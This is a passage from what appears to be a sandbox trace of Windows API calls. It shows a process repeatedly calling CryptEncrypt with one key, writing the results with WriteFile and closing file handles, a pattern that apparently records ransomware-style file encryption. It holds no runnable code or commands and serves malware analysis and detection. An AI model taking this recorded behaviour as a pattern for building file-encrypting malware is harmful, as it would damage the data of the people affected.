lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.891] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.892] CloseHandle (hObject=0x2aec) returned 1 [0226.901] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.901] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.902] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.902] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.902] CloseHandle (hObject=0x2aec) returned 1 [0226.905] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.905] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.905] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.906] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.906] CloseHandle (hObject=0x2aec) returned 1 [0226.909] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.909] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.910] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.910] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.910] CloseHandle (hObject=0x2aec) returned 1 [0226.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.913] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.913] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.913] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.914] CloseHandle (hObject=0x2aec) returned 1 [0226.916] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.916] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.916] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.917] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.917] CloseHandle (hObject=0x2aec) returned 1 [0226.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.927] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.928] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.928] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.928] CloseHandle (hObject=0x2aec) returned 1 [0226.935] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.935] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.936] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.936] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.936] CloseHandle (hObject=0x2aec) returned 1 [0226.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.960] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.960] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.961] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.961] CloseHandle (hObject=0x2aec) returned 1 [0226.970] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.970] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.970] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.970] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.971] CloseHandle (hObject=0x2aec) returned 1 [0226.978] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.978] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.978] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.979] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.979] CloseHandle (hObject=0x2aec) returned 1 [0226.982] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.982] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386d570*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386d570*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.982] WriteFile (in: hFile=0x2aec, lpBuffer=0x386d570*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386d570*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.983] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.983] CloseHandle (hObject=0x2aec) returned 1 [0226.986] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.986] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.986] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.986] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.986] CloseHandle (hObject=0x2aec) returned 1 [0226.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.993] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.994] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.994] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2618*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2618*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.994] CloseHandle (hObject=0x2aec) returned 1 [0226.998] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.998] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.998] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.998] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.999] CloseHandle (hObject=0x2aec) returned 1 [0227.001] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.002] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.002] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.002] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.002] CloseHandle (hObject=0x2aec) returned 1 [0227.005] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.005] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.006] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.006] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.006] CloseHandle (hObject=0x2aec) returned 1 [0227.009] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.009] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.009] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.009] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.009] CloseHandle (hObject=0x2aec) returned 1 [0227.012] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.012] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.012] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.013] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.013] CloseHandle (hObject=0x2aec) returned 1 [0227.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.017] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.017] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.017] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.017] CloseHandle (hObject=0x2aec) returned 1 [0227.023] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.023] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.023] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.023] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.023] CloseHandle (hObject=0x2aec) returned 1 [0227.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.026] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.027] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.027] CloseHandle (hObject=0x2aec) returned 1 [0227.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.029] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f568*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.030] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f568*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f568*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.030] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.030] CloseHandle (hObject=0x2aec) returned 1 [0227.032] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.033] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.033] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.033] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0227.033] CloseHandle (hObject=0x2aec) returned 1 [0227.036] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0227.036] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0227.036] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0227.036] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 